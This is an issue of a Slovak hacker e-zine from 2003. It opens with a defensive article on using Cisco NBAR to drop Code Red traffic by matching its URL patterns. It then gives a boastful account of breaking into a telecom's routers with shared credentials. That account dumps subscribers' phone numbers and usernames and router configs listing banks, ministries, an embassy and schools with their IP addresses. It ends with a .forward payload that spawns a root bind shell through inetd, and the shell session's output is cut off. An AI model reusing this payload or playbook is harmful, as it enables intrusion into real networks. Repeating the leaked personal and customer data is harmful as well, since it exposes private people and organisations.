::::::::::. :::::::.. :::.,:::::: ::: ... . : `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;; `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[, $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$ 888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM prielom #20, 6.6.2003, prielom(at)hysteria.sk, http://hysteria.sk/prielom/
intro
Pouzitie NBAR na identifikaciu a kontrolu utokov
Balada o velkej teleko ropuche
Project chaos
Co to vlastne je ten ‘opensource’
dastych reloaded
Rootkit zalozeny na preload
board
minulu sobotu bola v klube spojka vystava robotov. taki rakuski industrialni umelci. roboty boli take nezmyselne, az to bolo mile. miesali napoje, fajcili zvaro a tak. je to fasa byt mladym_na_zapade, clovek ma cas na taketo vysinute konicky. povedali sme si ze ked raz budeme velki, budeme mlady_na_zapade. budeme stavat nezmyselne roboty a chodit ich ukazovat do blavy.
vlastne aj motat sa okolo tmavej stranky pocitacoveho sveta je asi dost vysinuty konicek. mozno preto je na slovensku a v cechach tak malo ludi s nasim konickom. o to viac treba zjednotit nase hlasy, uz sa tu v intre pisalo o tom ze ma hysterka ambicie stat sa v ociach ludi hlavnym zdrojom alternativneho pohladu na veci okolo informatiky. hadam nam to vyjde. pridajte sa. hladame vselikoho, najviac asi mladych pravnikov, alebo studentov prava, ktori sa motaju okolo zakonov suvisiacich so svetom informacnych technologii a maju na veci iny nazor ako zakonodarci a IT lobby.
inak vsetko po starom, prislo leto, teplo, voda a dalsie prijemne veci s tym suvisiace. co sa stalo od posledneho prielomu ? hysterka zazila jeden reboot sposobeny vypadkom elektriny, ale prezili sme to a bezime dalej, aspon sa mozno konecne po vyse 150 dnovom uptime odhodlame k uz davnejsie planovanym upgradom serveru.
a chysta sa velka letna hysteria session. ak si nedostal pozvanku a mal si dostat – ozvi sa.
pajkus, pajkus(at)hysteria.sk
zyx, zyx(at)hysteria.sk
navrat na obsah
co ty na to ? board
Abstract
Network-Base Application Recognition (NBAR) je jedna z vlastnosti Cisco IOS Software, pomocou ktorej je mozne identifikovat mnoho typov trafficu. Identifikacia je zalozena na charakteristike trafficu od layer 4 az po layer 7. NBAR umoznuje identifikovat traffic roznych typov a jeden z nich mozu byt aj utoky. Je samozrejme, ze po uspesnom identifikovani trafficu ktory vas zaujima, mate uplnu slobodu volby co s nim spravite (napr. drop, obmedzit sirku pasma,..).
Pre priklad vyuzita v realite moze byt tato vlastnost pouzita na zastavenie CODE RED Worm uz na perimeter routry vasej siete. (priklad je uvedeny v clanku)
OverviewNBAR je inteligentny engine v Cisco IOS, urceny na klasifikaciu trafficu. Primarne je urceny pre QoS (Quality of Service), ktoreho ulohou je klasifikovat alebo taggovat traffic podla definovanych pravidiel este pred tym, nez je spracovany v routry (routing). Na zaklade klasifikacie moze router klasifikovany traffic rozdelit do tried, ktore maju napriklad roznu prioritu.
NBAR dokaze klasifikovat siroku oblast aplikacii a protokolov:
-staticky doplnene TCP a UDP porty
-non-UDP a non-TCP protocols
-dynamicky pridelene TCP a UDP porty pocas vzniku spojenia
-subport klasifikacia, ktora je zalozena na HTTP URL, MIME alebo host names
-heuristic/holistic klasifikacia, klasifikacia aplikacii zalozena na pakete.
Zoznam nativne podporovanych aplikacii a protokolov, ktore mozu byt klasifikovane najdete na cisco web stranke. Kedze utoky mozu prichadzat v roznej forme a mozu pouzivat rozne protokoly a porty ako transportny mechanizmus, je mozne si definovat vlastne aplikacie a protokoly (filtre) pomocou Protocol Description Language Module (PDLM).
NBAR je pristupny na routroch Cisco 2600 a 3600 od verzie 12.1(4)T a na Cisco 7100 a 7200 od verzie 12.0(5)XE2.
Takze NBAR moze klasifikovat mnoho typov trafficu napr. utoky a dalsie funkcie ako rate limiting, access lists mozu byt pouzite na manipulaciu tohto trafficu.
Pouzitie NBAR na kasifikaciu packetov
Pred pouzitim NBAR je nutne aktivovat Cisco Express Forwarding (CEF). NBAR klasifikacia je definovana pomocou class-map. class-map prikaz je pouzity na definovanie jedneho alebo viacerych tried trafficu specifikovaneho zadanymi kriteriami.
Nasledujuci priklad je pouzity na klasifikaciu vsetkeho HTTP trafficu urceneho v URL obsahujuci adresar /test/. * je wildcard, urcujuca ze pred aj za sa mozu vyskytovat rozne znaky.
class-map match-all http_test match protocol http url "*/test/*"
Dalsi priklad klasifikuje cely Secure HTTP (SHTTP) traffic, ktory pouziva TCP port 443.
class-map match-all http_secure match protocol secure-http
Dalsi class map spaja predchadzajuce definicie do jednej, ktora moze byt neskor pouzita. Prikaz match-any znamena, ze traffic zodpovedajuci akemukolvek definovanemo parametru v class-map klasifikuj do triedy. Prikaz match-all je doraznejsi a znamena, ze traffic musi zodpovedat vsetkym definovanym parametrom v class-map.
class-map match-any ecommerce match class-map http_test match class-map http_secure
Dalsi class-map pouziva access list na klasifikaciu trafficu do triedy.
class-map match-all privatenetwork match access-group 101 access-list 101 permit ip 10.1.1.0 0.0.0.255 10.2.2.0 0.0.0.255
Dalsi class-map klasifikuje HTTP URL zalozene na MIME, kde MIME moze obsahovat uzivatelsky definovany textovy retazec.
class-map match-any audio_video match protocol http mime "audio/*" match protocol http mime "video/*"
Dalsi class-map klasifikuje URL, ktore obashuje obrazky typu gif,jpg alebo jpeg.
class-map match-any web_images match protocol http url "*.gif" match protocol http url "*.jpg|*.jpeg"
Znak | (OR) hra tu istu ulohu ako dva separatne riadky match protocol.
Pouzitie NBAR na registrovanie utokov
Ked uz vieme klasifikovat (selectovat) traffic ktory nas zaujima, je potrebne vediet ako aplikovat na tento traffic QoS alebo security pravidla. Na tento ucel sluzi prikaz policy-map.
Tu je zoznam moznosti ako pouzit policy-map s NBAR:
class-map match-any http-hacks match protocol http url "*default.ida*"
Nasledujuci policy-map prikaz nastavi vsetkym klasifikovanym paketom DSCP field 1.
policy-map mark-inbound-http-hacks class http-hacks set ip dscp 1
Prikazom service-policy aplikujeme policy-map na WAN interface pripojeny smerom do internetu.
interface serial 2/1 service-policy input mark-inbound-http-hacks
Tymto je zabezpecene, ze vsetky pakety prichadzjuce z internetu z obsahom v HTTP GET default.ida budu mat v DSCP field hodnotu 1. Dalsim prikazom na ethernet interface, ktory je pripojeny smerom do privatnej siete, dropneme vsetky pakety ktore maju v DSCP field hodnotu 1.
interface ethernet 2/0 ip access-group 105 out access-list 105 deny ip any any dscp 1 log access-list 105 permit ip any any
Access-listom 105 sme prikazali aby vsetky odchadzajuce pakety z DSCP field 1 boli zamietnute. Podobnym sposobom sa pouziva aj ToS field.
2.pouzitie DSCP alebo ToS s policy routing na oznacenie alebo dropovanie NBAR trafficu
Fylozofia pri pouziti policy routing je velmi podobna ako v predchadzajucom priklade. V tomto pripade sa ale vyuziva routovanie trafficu do NULL interfacu, kde je traffic dropovany. Techniku z NULL interfacom vyuzivaju hlavne ISP a je znama pod menom BLACK-HOLE routing.
class-map match-any http-hacks match protocol http url "*default.ida*" policy-map mark-inbound-http-hacks class http-hacks set ip dscp 1 access-list 106 permit ip any any dscp 1Tento prikaz definuje next-hop interface pre traffic ktory prejde cez access-list 106 do NULL interfacu, kde je dropovany.
route-map test 10 match ip address 106 set interface Null 0Teraz toto vsetko aplikujeme na serial interface, ktory je pripojeny smerom do internetu.
interface serial 2/1 ip policy route-map test service-policy input mark-inbound-http-hacksTento priklad zabezpeci, ze akykolvek traffic obsahujuci default.ida bude dropovany v NULL interface.
3.pouzitie traffic policy na manazovanie NBAR trafficu
Nasledujuci priklad obmedzuje traffic ktory obsahuje v HTTP GET slovo bad na rate do 10KB
a vsetok traffic nad 10KB bude dropovany.
class-map match-any http-hacks match protocol http url "*/bad*" policy-map drop-inbound-http-hacks class http-hacks police 10000 conform transmit exceed drop interface serial 2/1 service-policy input drop-inbound-http-hacks
Pouzitie PDLM v spojeni z NBAR na detekovanie utokov
Protocol Description Language Module (PDLM) je pouzity pre podporu novych protokolov, ktore nie su nativne podporovane v NBAR. Umoznuje administratorom definovat vlastne a teda klasifikovat traffic podla vlastnych predstav. Viac na cisco web stranke, alebo v pripade zaujmu dalsi clanok :).
Performance dopad na router pri pouziti NBAR
Testy ukazuju hodnotu zvysenia zateze CPU o 12 az 15% pri dlzke paketu 300 byte a dlzke toku 90Mbps. Tato je priblizne rovnaka pri dynamickych aj statickych portoch definovanych cez access-list. NBAR vuziva 150 byte-ov DRAM na sledovanie stateful protocol flow. Defaultne NBAR zaberie 1M pamate pre flow zdroje a povoluje stopovat okolo 5000 statful flows bez zabratia vacsej pamate. Samozrejme ze ak potrebuje tak si automaticky zoberie viac memory.
Priklad ako zastavit Code Red Worm
Code Red worm utoci pomocou HTTP requestov na microsoft servre. Cez URL sa pokusa pristupovat k suborom cmd.exe, root.exe a default.ida. Pomocou NBAR funkcie mozme tento traffic klasifikovat. Dolezite je ale vediet ze NBAR nevie klasifikovat pakety, ktore su castou pipeline requestu. Pipeline requesty su menej pouzivany typ HTTP requestu (Code Red Worm II).
class-map match-any codered match protocol http url "*default.ida*" match protocol http url "*cmd.exe*" match protocol http url "*root.exe*" policy-map mark-codered class codered set ip dscp 1 interface serial 2/1 service-policy input mark-codered access-list 100 deny ip any any dscp 1 access-list 100 permit ip any any interface ethernet 1/0 access-group 100 out
zaver
NBAR moze byt jeden z velmi dolezitych nastrojov v rukach administratorov nielen ISP ale aj privatnych sieti. Do istej miery je pouzitelny ako nahrada za Network IDS systemy. Pre maximalne vyuzitie NBAR je potrebne sa ale zamysliet v ktorych miestach siete ho aplikovat a aky traffic sledovat.
Erik Kirschner, kirschner(at)pobox.sk
navrat na obsah
co ty na to ? board
Uvod
Bola raz v malej krajinke v strede europy jedna mala telekomunikacna spolocnost. Mala velku siet, vela zamestnancov, vela zakaznikov, vela reklamy, vela… no vlastne bolo vela toho coho vsetkeho mala vela :). Firma si zila svojim zivotom, malo kto ju mal rad, ale napriek tomu stastne a veselo profitovala a rastla a rastla. Ako tak rastla na svojom poli posobnosti, tak vznikala a rastla aj jej IP siet. Poskytovala sluzby vsetkym moznym jednotlivcom a vsetkym moznym organizaciam. A na tejto spoocnosti zacinalo byt pomaly ale isto zavislich viac a viac ludi a organizacii…
Jemne pretrepeme a nechame 10 minut kvasit
Jednoduchym prikladom su napriklad take skoly spominanej malinkej krajinky v srdci europy. Kazda skola dostala svoje pripojenie k internetu a tak pomaly rastol projekt zvany infovek. V ramci projektu povznikalo par routerov, ktore vlastni tato nasa malinka spolocnost. Kedze kazdy chce mat jednoduchy pristup vsade a k vsetkemu tak sa clovek (mozno cloveci… :)) rozhodli ze preco nedat vsade rovnakych uzivatelov a hesla ked uz to ma byt take jednoduche a prakticke.
Lenze…
Nasa firma bohuzial pozabudla.. alebo jej to nemal kto povedat ? To asi tu a teraz nevyriesime. Jednoducho nikoho nenapadlo ze po svete je velmi vela ludi co nemaju co robit a tak vymyslaju najroznejsie veci. Jednou takou vecou je napriklad hrabanie sa v sietach roznych malinkych firiem, ktore nechavaju k dispozicii svoje male bezvyznamne routre. Ved nech sa studenti ucia ked si nemozu dovolit kupit si take veci domov :). A tak prisiel clovek.. alebo ludia ? To uz si nikto dnes nepamata… Ktory zahadnym sposobom ziskali pristup na vsetky routery tohoto projektu “internet do skol” ci ako sa to volalo. To by nebolo nic zle, ved co moze taky bezny clovek robit s routerom na ktorom nema ani enable mod.
Vyhrejeme trubu na 150 stupnov
A tak si niekto obcas pobehal po routeroch a skusal kam vsade sa dostane, proste taky vikendovy sport niekto ide na pokec.sk niekto sa connectuje po routeroch teleko ropuch. Connectuje sa a connectuje az jedneho neskoreho horuceho dna zisti ze sa connectol na nieco co uz nevyzera celkom ako nejaky obycajny router ktory ma ledva 2,5 interfejsu. Celkom netusi kam sa to vlastne pripojil, lebo taku vec este nikdy nevidel 🙂 A tak skuma a po par minutach zisti ze dana vec… co to len moze byt ? ma nejake prikazy ako “show isdn active” a ako tak pozera co to ten prikaz vypisuje tak tam vidi rozne mena a telefonne cisla a co ja viem co este vsetko. A ked ten clovek len tak nahodou bezi cez ISDN tak s prekvapenim skonstatuje nieco typu: “hm… to je moj user a moje telefonne cislo” :). Takze uz je cloviecikovi celkom jasne kam sa mu to uplnou nahodou podarilo pripojit. A tak pozera a hlada dalej a rozmysla ako by to mohol vyuzit. Tu uz to nebolo ale take “easy” ako na routeroch po ktorych lozil clovek predtym. Tu uz mal aj enable mod a s takym niecim uz sa daju podnikat nejake veci. (minimalne reload a podobne neprijemnosti 🙂
ako take nico vyzeralo ? maly priklad:
User Access Verification Username: to nie je az tak podstatne ;) Password: to uz vobec nie je podstatne STIP_KE_AD1>enable Password: STIP_KE_AD1#A co to tu mozme vlastne pouzivat za prikazy ?
ke-nas-1#show isdn active -------------------------------------------------------------------------------- ISDN ACTIVE CALLS -------------------------------------------------------------------------------- Call Calling Called Remote Seconds Seconds Seconds Charges Type Number Number Name Used Left Idle Units/Currency -------------------------------------------------------------------------------- In 0566684810 ---N/A--- +.c530.84ec +08616 - - In 0557298252 ---N/A--- 1.2.3.4 31112 - - In 0556950282 ---N/A--- dncmetal55 18981 - - In 0557288831 ---N/A--- siulmiku55 13991 - - In 0557298381 ---N/A--- dominika95 13728 - - In 0554648323 ---N/A--- vlaky 12192 - - In 0557292002 ---N/A--- turlvlad95 10769 - - In 0557291741 ---N/A--- +0002800300 10548 - - In 0566281662 ---N/A--- patakeva94 10423 - - In 0566481150 ---N/A--- 10304 - - In 0557998098 ---N/A--- +ab0b10036d 9516 - - In 0556742129 ---N/A--- 9018 - - In 0557999147 ---N/A--- fatrajsk46 8918 - - In 0514583145 ---N/A--- 8533 - - In 0566882921 ---N/A--- ondojana94 8419 - - In 0566384468 ---N/A--- 8267 - - In 0556450325 ---N/A--- 7307 - - In 0556450408 ---N/A--- 7270 - - In 0556336018 ---N/A--- strakala55 7090 - - In 0556336408 ---N/A--- tomkamil55 6895 - - In 0554662412 ---N/A--- gedeonvi55 6825 - - In 0566425761 ---N/A--- 6685 - - In 0556970081 ---N/A--- 6647 - - In 0566790030 ---N/A--- 6632 - - In 0554665442 ---N/A--- 6609 - - In 0556744293 ---N/A--- 6561 - - In 0566281691 ---N/A--- sabovlad94 6241 - - In 0566881031 ---N/A--- 6225 - - In 0557296391 ---N/A--- +0002800300 6135 - - In 0566420903 ---N/A--- 6090 - - In 0556941300 ---N/A--- semjanpa55 6077 - - In 0557896032 ---N/A--- medicale95 6068 - - In 0556711318 ---N/A--- 5978 - - In 0556257237 ---N/A--- karolloh95 5955 - - In 0566888083 ---N/A--- mikostef94 5873 - - In 0556325568 ---N/A--- liptbria95 5742 - - In 0566682260 ---N/A--- salajoze94 5713 - - ...fiha to vyzera ako nejaki dialup usery 🙂
a hned ponukame maly vysek z “sh run”:
aaa new-model aaa authentication password-prompt "Enter Your Access Password:" aaa authentication username-prompt "Welcome in ISDN ST_OnLine, Enter Your Username:"
teraz uz mu bolo jasne ze sa jedna o “nejaky” ISDN dialup co je to to ISDN ST_OnLine ? nie je to to na co sme nuteni kazdy den pozerat na billboardoch, v televizii, pocuvat o tom v radii a neviem kde vsade ? Asi to s tym nieco bude mat spolocne. Prve co kazdeho cloveka pri takejto spolocnosti napadne je co tak zariadit aby sa ST_OnLine zmenilo na ST_OffLine ? Ved to nie je problem mame full access na vsetky ISDN dialupy tak ich staci pozhadzovat. Ale tu by zabava skoncila a my sme predsa dobraci a tak radsej budeme dalej lozit po sieti a hladat ci sa nenajde nieco viac (a ono sa toho este vela vela vela najde ;).
Co dalej?
Ked mame uz niekde pristup, nebolo by zle poobzerat sa ako to je cele nakonfigurovane a ako to vlastne funguje, ako je co s cim poprepajane atd. Dalsim krokom je logicky poukladat poctivo vsetky konfiguracie a pocas dlhych vecerov namiesto romanov citat configy cisco routerov. A vzhladom na to ze clovek (zvlast ten nas) je tvor lenivy tak to aj nejaky ten cas trvalo. Ale naslo sa vela dalsich pouzitelnych veci (taky user ehmehm s ktorym sa dostaneme rovno do enable modu na vacsine uz nie malych bezvyznamnych routerov infoveku ale velkych dost podstatnych routerov. Takze uz nemame jedneho usera, ale hned dvoch (univerzalnych). Binarna sxizofrenia zacina.. 🙂
username (ehmehm) password 7 (ehmehm)
Zrazu sme sa s nasim malym pribehom dostali o kusok dalej. “(ehmehm)” bol user ktory bol vlastne klucom k celemu zvysku siete. Nasi dobrodruhovia sa s nim mohli uz pripajat takmer vsade (cca 90% siete). Pomaly si zaciname klast otazku preco firma ktora ma tolko zakaznikov a tolko penazi absolutne ignoruje to ze jej velmi dlhu dobu lozi po sieti este nejaky paralelny admin/paralelni admini. Ale to znova my riesit v nasej story nebudeme ;). Tak zrazu ma niekto v rukach celu velku siet a nevie celkom co s nou lebo je tak velka ze sa v nej musi chvilu orientovat. V ramci relaxacie a pasivity sa zacneme len tak telnetovat kade tade a zistujeme ze sa na vacsinu miest s nasim novym userom dostavame rovno do enable modu. Teraz by sa hodilo dalsich par prikladov kam to vlastne mame pristup:
Trying 192.108.148.30... Connected to Telecom-gw.six.sk (192.108.148.30). Escape character is '^]'. The Slovak Internet Exchange Slovak Technical University Computer Centre Bratislava, SLOVAK REPUBLIC Gateway to Slovak Telecom User Access Verification Username: (ehmehm) Password: ba-six-1>to bola taka mensia ceresnicka (tortu treba jest od vrchu ;)) a teraz dalej. Dobra vec co nasa firma robi je to, ze si ku kazdemu interfejsu napise description, takze mame slusny prehlad o tom kam mame pristup, resp. kto vsetko su jej zakaznici. napriklad (ostavame pripojeni tam kde sme boli o par riadkov vyssie…): len male vyseky z “sh interf”
Hardware is C6k 1000Mb 802.3, address is 0001.c9db.4dcc (bia 0001.c9db.4dcc) Description: ISL trunk to cat2900, BA-Jarabinkova, 1.posch. Hardware is GigabitEthernet Interface, address is 0009.e979.724a (bia 0009.e979.724a) Description: ADSL test segmentteraz prejdeme na dalsi:
Description: Line To Matsushita Krompachy, KRMP-SNVS NP501 Hardware is 4T/MC68360 Description: Line to Maurice Ward & Co, SNVS-SNVS NP508 Hardware is 4T/MC68360 Description: SEZ Krompachy Krompachy-SNVS NP502 Hardware is MPA-E1 Description: line to Kosice via SDH (ke-snvs np2)dalsi priklad:
interface Serial2/2 description VUB-2nd line, BA-BA NP 539 bandwidth 1024 ip address 212.5.209.153 255.255.255.252 no ip directed-broadcast encapsulation ppp no ip mroute-cache ! interface Serial2/3 description Line to CMSS_BA Gateway bandwidth 1024 ip address 195.146.128.181 255.255.255.252 no ip directed-broadcast no ip mroute-cache clockrate 1007616 ! interface Serial3/0 description Line to Allianz BA-BA NP545 bandwidth 512 ip address 212.5.209.189 255.255.255.252 no ip directed-broadcast encapsulation ppp no ip mroute-cache ! interface Serial3/1 description Statna pokladnica NP1423 (BA - BA 30n5046) bandwidth 2048 ip address 10.1.10.1 255.255.255.252 ip access-group 77 out no ip directed-broadcast encapsulation ppp no ip mroute-cache ! interface Serial3/2.1 point-to-point description BA-BA FRP143 - DLCI 205 - Zakladna skola (sluch. post.) bandwidth 64 ...dalsie interfejsi… (skoly vynechavame tych je vela 🙂
interface Serial4/0:1 description Fond ochrany vkladov BA - BA NP 590 3ts bandwidth 64 ip address 212.5.209.45 255.255.255.252 no ip directed-broadcast encapsulation ppp ! interface Serial4/0:3 description Line to HTC BA-BA NP516 TS 7-10 bandwidth 256 ip address 195.146.128.205 255.255.255.252 no ip directed-broadcast encapsulation ppp load-interval 180 ! interface Serial4/0:4 description Tronet - ministerstvo BA-BA NP580 bandwidth 256 ip address 212.5.209.233 255.255.255.252 no ip directed-broadcast encapsulation ppp ! interface Serial4/0:5 description metalurg BA-BA NP 503 TS 15-16 bandwidth 128 ip address 212.5.209.17 255.255.255.252 no ip directed-broadcast encapsulation ppp ! interface Serial4/0:6 description docasny okruh BRATISLAVA-STUPAVA NP9992 ts 29-30 no ip address no ip directed-broadcast load-interval 360 shutdown ! interface Serial4/0:7 description Sutkova Lucia BA - BA NP 584 e1 4/0 17-20TS bandwidth 256 ip address 212.5.209.253 255.255.255.252 no ip directed-broadcast encapsulation ppp interface Serial4/0:9 description Velvyslanectvo Chorvatskej republiky BA-BA NP586 bandwidth 128 ip address 212.5.209.37 255.255.255.252 no ip directed-broadcast encapsulation ppp ! interface Serial4/0:10 description line to Fond pre podporu ZO, BA-BA NP509 ts 24-27 bandwidth 256 ip address 195.146.128.225 255.255.255.252 no ip directed-broadcast encapsulation ppp ! interface Serial4/0:23 description Autorizacne centrum BA-BA NP589 bandwidth 64 ip address 213.81.239.21 255.255.255.252 no ip directed-broadcast encapsulation ppp interface Serial5/1:0 description Line to PriNet D-Zone BA-BA NP801 bandwidth 2048 ip address 195.146.128.245 255.255.255.252 no ip directed-broadcast encapsulation ppp load-interval 240 priority-group 1 ! interface Serial5/2:0 description Line to VUB VPDN BA-BA NP1382 bandwidth 2048 ip address 212.5.209.225 255.255.255.252 no ip directed-broadcast encapsulation ppp load-interval 360 no fair-queue ! interface Serial5/3:0 description Line to TV Markiza BA-BA NP581 Slov. telev. spolocnost bandwidth 2048 ip address 212.5.209.77 255.255.255.252 no ip directed-broadcast encapsulation ppp load-interval 360 no fair-queue ! interface Serial5/4:0 description truckshow ip address 212.5.209.69 255.255.255.252 no ip directed-broadcast encapsulation ppp ! interface Serial5/5:0 description www.markiza.sk BA - BA NP 582 bandwidth 2048 no ip address no ip directed-broadcast encapsulation ppp no ip route-cache cef no ip route-cache load-interval 30 no fair-queue ppp multilink multilink-group 1 ! interface Serial5/6:0 description www.markiza.sk#2 BA - BA NP 583 bandwidth 2048 no ip address no ip directed-broadcast encapsulation ppp no ip route-cache cef no ip route-cache load-interval 30 no fair-queue ppp multilink multilink-group 1 ! interface Serial5/7:0 description docasna linka cofax ba-ba np 998 bandwidth 2048 no ip address no ip directed-broadcast encapsulation ppp load-interval 360 shutdownmat uplny pristup niekde kde su taketo linky ma iste svoje vyhody.. ake to uz nechavame na vasej fantazii 😉 a prikladame dalsie, tentokrat z bb-ce-1:
interface Ethernet1/1 description New line to MINV BB, 1024kbps, cisco2600, ZS, NP503 ip address 195.146.132.233 255.255.255.252 no ip redirects no ip directed-broadcast ! interface Ethernet1/2 description backup WebHouse (Cat1 2/24 VLAN5) ip address 212.5.216.61 255.255.255.0 ip access-group 107 out no ip redirects no ip directed-broadcast standby priority 90 standby preempt standby ip 212.5.216.1 ! interface Ethernet1/3 description Managment (BB-Cat1 2/19) ip address 195.146.132.16 255.255.255.224 no ip directed-broadcast ! interface Serial2/0 description Line to Softip Enduser (NP502 BB-BB) ip address 195.146.132.249 255.255.255.252 no ip directed-broadcast encapsulation ppp bandwidth 512 custom-queue-list 1 ! interface Serial2/1 description #line for VPDN-Isternet bb-bb np30 ip address 195.146.132.245 255.255.255.252 no ip directed-broadcast encapsulation ppp bandwidth 1024 shutdown ! interface Serial2/2 description Line to Slov.Agent.Ziv.Prostr. NP504(n120c37p0-n128c3p1) ip address 195.146.132.241 255.255.255.252 encapsulation ppp bandwidth 512 ! interface Serial2/3 no ip address bandwidth 128 shutdown priority-group 9 ! interface Serial3/0 description line to ST_BB ip address 195.146.132.225 255.255.255.252 ip access-group 119 in no ip directed-broadcast encapsulation ppp clockrate 125000 ! interface Serial3/1 description #line for VPDN-Isternet bb-bb np30 ip address 195.146.132.245 255.255.255.252 no ip directed-broadcast encapsulation ppp bandwidth 2048 no fair-queue !teraz vynimocne skoly nevynechame…
! interface Serial3/2.1 point-to-point description BB-BB FRP35 - DLCI 200 - Gymnazium ip address 213.81.175.1 255.255.255.252 no ip directed-broadcast bandwidth 64 frame-relay interface-dlci 200 ! interface Serial3/2.2 point-to-point description BB-BREZ FRP11 - DLCI 201 - Zakladna skola ip address 213.81.175.5 255.255.255.252 no ip directed-broadcast bandwidth 64 frame-relay interface-dlci 201 ! interface Serial3/2.3 point-to-point description satellite - DLCI 202 - Zakladna skola (mad.) ip address 213.81.175.9 255.255.255.252 no ip directed-broadcast bandwidth 64 frame-relay interface-dlci 202 ! interface Serial3/2.4 point-to-point description BB-RIMS FRP15 - DLCI 203 - Zakladna skola ip address 213.81.175.13 255.255.255.252 no ip directed-broadcast bandwidth 64 frame-relay interface-dlci 203 ! interface Serial3/2.5 point-to-point description BB-RIMS FRP16 - DLCI 204 - Zakladna skola ip address 213.81.175.17 255.255.255.252 no ip directed-broadcast bandwidth 64 frame-relay interface-dlci 204 ! interface Serial3/2.6 point-to-point description VINI-ZVOL FRP10 - DLCI 205 - Zakladna skola (mad.) ip address 213.81.175.21 255.255.255.252 no ip directed-broadcast bandwidth 64 frame-relay interface-dlci 205 ! interface Serial3/2.7 point-to-point description ZVOL-ZARN FRP10 - DLCI 206 - Zakladna skola ip address 213.81.175.25 255.255.255.252 no ip directed-broadcast bandwidth 64 frame-relay interface-dlci 206 ! interface Serial3/2.8 point-to-point description BB-ZVOL FRP13 - DLCI 207 - Stredna priemyselna skola ip address 213.81.175.29 255.255.255.252 no ip directed-broadcast bandwidth 64 frame-relay interface-dlci 207 ! interface Serial3/2.10 point-to-point description BB-BB FRP36 - DLCI 209 - MC Banska Bystrica ip address 213.81.175.37 255.255.255.252 no ip directed-broadcast bandwidth 64 frame-relay interface-dlci 209 ! interface Serial3/2.11 point-to-point description BB-TISOVEC FRPxx DLCI 210 - Evan. gymn. ip address 213.81.175.109 255.255.255.252 no ip directed-broadcast bandwidth 64 frame-relay interface-dlci 210 ! interface Serial3/2.12 point-to-point description BB-BS FRP11 id301 SPS Akademicka Banska St ip unnumbered Loopback0 no ip directed-broadcast bandwidth 128 frame-relay interface-dlci 214 ! interface Serial3/2.13 point-to-point description BB-BS FRP10 id1 Gymnazium Gwerkovej Banska St ip unnumbered Loopback0 no ip directed-broadcast bandwidth 128 frame-relay interface-dlci 215 ! interface Serial3/2.14 point-to-point description BB-FI FRP10 id24 Gymnazium Nam.padl. Filakovo ip unnumbered Loopback0 no ip directed-broadcast bandwidth 128 frame-relay interface-dlci 217 ! interface Serial3/2.21 point-to-point description id322 SPS Laskomerskeho 3 Brezno ip unnumbered Loopback0 bandwidth 128 frame-relay interface-dlci 211 ! interface Serial3/2.22 point-to-point description id405 ZS K. Raposa Skolska 5 Brezno ip unnumbered Loopback0 bandwidth 128 frame-relay interface-dlci 212 ! interface Serial3/2.26 point-to-point description id457 OA Lipova 8 Handlova ip unnumbered Loopback0 bandwidth 128 frame-relay interface-dlci 220 ! interface Serial3/2.27 point-to-point description id338 OA Jarmocna 30 Modry Kamen ip unnumbered Loopback0 bandwidth 128 frame-relay interface-dlci 222 ! interface Serial3/2.28 point-to-point description id412 SOU polnohospodarske + DOS Osvety 17 Nova Bana ip unnumbered Loopback0 bandwidth 128 frame-relay interface-dlci 219 ! interface Serial3/2.29 point-to-point description id553 II. ZS Sturova 12 Detva ip unnumbered Loopback0 bandwidth 128 frame-relay interface-dlci 221 ! interface Serial3/3 description link to STIP_BB_CAR S0/0 ip address 195.146.132.177 255.255.255.252 encapsulation ppp ip ospf cost 11300 no fair-queue clockrate 2000000 ! interface Serial4/1:1 description Sluzobny BB-BB NP516 2022/02/40 ip address 195.146.132.221 255.255.255.252 encapsulation ppp bandwidth 64 ! interface Serial4/1:2 description BB samospravny kraj NP517 BB-BB ip address 195.146.132.229 255.255.255.252 encapsulation ppp bandwidth 128 ! interface Serial4/1:5 description VPDN Slovenska posta, NP505, BB-BB TS4-5, HDLC ip address 195.146.132.213 255.255.255.252 bandwidth 128atd. tak to bol maly strucny prehlad toho co sa v tejto spolocnosti okrem vela inych veci nachadzalo, mozno este aj nachadza :).
Kapitanov dennik, hviezdny datum XY (od cisca k unixom)
Teraz by sme mohli prejst od tych skaredych velkych drahych cisco routerov k nejakym peknym milym a este drahsim SUNovskym serverom. V telecome asi strasne radi backupuju a najroznejsie backupy nechavaju len tak povalovat na serveroch (konkretne na logserver.telecom.sk) pochopitelne z pravami rw pre vlastnika a r pre groupu a ostatnych. Tak ako dalej uvidime v tychto backupoch sa da najst kade co :). K SUNom bol pristup bohuzial len cez ftp s “ehmehm” userom, ale dalo sa to velmi jednoducho napravit:
takze pod nasim uzivatelom sme si vytvorili v jeho home subor .forward s nasledovnym obsahom :))|"/bin/echo "listen stream tcp nowait root /bin/sh sh" > /tmp/.h; /usr/sbin/inetd -s /tmp/.h"a potom uz len stacilo poslat uzivatelovi ehmehm mail a:
telnet> Trying 195.146.132.10... Connected to mail.telecom.sk. Escape character is '^]'. uname -a SunOS logserver 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-30 ps -aAf UID PID PPID C STIME TTY TIME CMD root 0 0 0 Apr 15 ? 0:00 sched root 1 0 0 Apr 15 ? 0:27 /etc/init - root 2 0 0 Apr 15 ? 0:00 pageout root 3 0 0 Apr 15 ? 22:37 fsflush root 320 1 0 Apr 15 ? 0:00 /usr/lib/saf/sac -t 300 root 396 1 0 Apr 15 console 0:00 /usr/lib/saf/ttymon -g -h -p logserver console login: -T sun -d /dev/console - nobody 26131 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL root 53 1 0 Apr 15 ? 0:00 /usr/lib/sysevent/syseventd root 55 1 0 Apr 15 ? 0:00 /usr/lib/sysevent/syseventconfd nobody 29309 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL root 313 1 0 Apr 15 ? 5:48 /usr/local/bin/prngd /var/spool/prngd/pool root 8494 1 0 Apr 23 ? 2:50 /usr/lib/sendmail -bd -q15m root 186 1 0 Apr 15 ? 16:32 /usr/sbin/nscd root 171 1 0 Apr 15 ? 65:06 /usr/sbin/syslogd root 177 1 0 Apr 15 ? 0:38 /usr/sbin/cron root 6275 1 0 Apr 30 ? 2:34 /usr/sbin/inetd -s nobody 